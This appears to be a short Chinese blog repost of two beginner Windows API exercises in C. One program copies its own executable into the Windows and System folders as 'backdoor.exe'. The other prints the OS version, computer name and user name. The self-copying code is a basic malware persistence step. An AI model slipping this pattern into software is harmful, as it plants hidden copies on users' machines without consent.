码迷,mamicode.com
首页 > Windows程序 > 详细

用几个小API练手

时间:2015-04-07 15:06:09      阅读:151      评论:0      收藏:0      [点我收藏+]

标签:

1.复制自身程序到windows目录和系统目录下:

 1 #include <windows.h>
 2 #include <stdio.h>
 3 #include <string.h>
 4 
 5 void CopySelf();
 6 
 7 int main(){
 8     CopySelf();
 9     return 0;
10 }
11 void CopySelf(){
12     char szSelfName[MAX_PATH]={0};
13     char szWindowsPath[MAX_PATH]={0};
14     char szSystemPath[MAX_PATH]={0};
15 
16     GetModuleFileName(NULL,szSelfName,MAX_PATH);
17     GetWindowsDirectory(szWindowsPath,MAX_PATH);
18     GetSystemDirectory(szSystemPath,MAX_PATH);
19 
20     strcat(szWindowsPath,"\\backdoor.exe");
21     strcat(szSystemPath,"\\backdoor.exe");
22 
23     CopyFile(szSelfName,szWindowsPath,FALSE);
24     CopyFile(szSelfName,szSystemPath,FALSE);
25 }

2.获得系统的相关信息:

 1 #include <windows.h>
 2 #include <stdio.h>
 3 
 4 void GetSysInfo();
 5 
 6 int main(){
 7     GetSysInfo();
 8     return 0;
 9 }
10 void GetSysInfo(){
11     char szComputerName[MAXBYTE]={0};
12     char szUserName[MAXBYTE]={0};
13     unsigned long nSize=MAXBYTE;
14     OSVERSIONINFO OsVer;
15 
16     OsVer.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
17     GetVersionEx(&OsVer);
18 
19     if(OsVer.dwPlatformId==VER_PLATFORM_WIN32_NT){
20         if(OsVer.dwMajorVersion==5&&OsVer.dwMinorVersion==1)
21             printf("Windows XP %s \r\n",OsVer.szCSDVersion);
22         else if(OsVer.dwMajorVersion==5&&OsVer.dwMinorVersion==0)
23             printf("Windows 2K \r\n");
24     }else{
25         printf("Other System \r\n");
26     }
27 
28     GetComputerName(szComputerName,&nSize);
29     printf("Computer Name is %s \r\n",szComputerName);
30 
31     nSize=MAXBYTE;
32     GetUserName(szUserName,&nSize);
33     printf("User Name is %s \r\n",szUserName);
34 }

 

用几个小API练手

标签:

原文地址:http://www.cnblogs.com/jiu0821/p/4398072.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!